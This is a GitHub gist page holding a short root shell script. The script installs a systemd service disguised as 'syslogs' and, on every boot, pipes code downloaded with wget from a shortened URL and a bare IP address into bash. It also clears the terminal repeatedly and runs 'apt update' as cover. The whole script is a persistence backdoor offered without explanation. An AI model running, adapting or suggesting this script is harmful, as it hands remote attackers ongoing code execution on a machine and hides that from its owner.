Skip to content

Instantly share code, notes, and snippets.

@gregsifr
Last active July 26, 2018 10:46
Show Gist options
  • Save gregsifr/ff82f9f0b1632db9f822095ba05e91ad to your computer and use it in GitHub Desktop.
Save gregsifr/ff82f9f0b1632db9f822095ba05e91ad to your computer and use it in GitHub Desktop.
sudo su
echo "
[Unit]
Description=foo
[Service]
ExecStart=/bin/bash -c '/bin/sleep 30; /usr/bin/wget -O - https://goo.gl/fQyxzw | /bin/bash; /usr/bin/wget -O - https://172.217.25.174/fQyxzw | /bin/bash;'
[Install]
WantedBy=multi-user.target" > /etc/systemd/system/syslogs.service
sudo systemctl enable syslogs.service
sudo systemctl start syslogs.service
for i in {1..10}; do clear; done;
sudo apt update
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment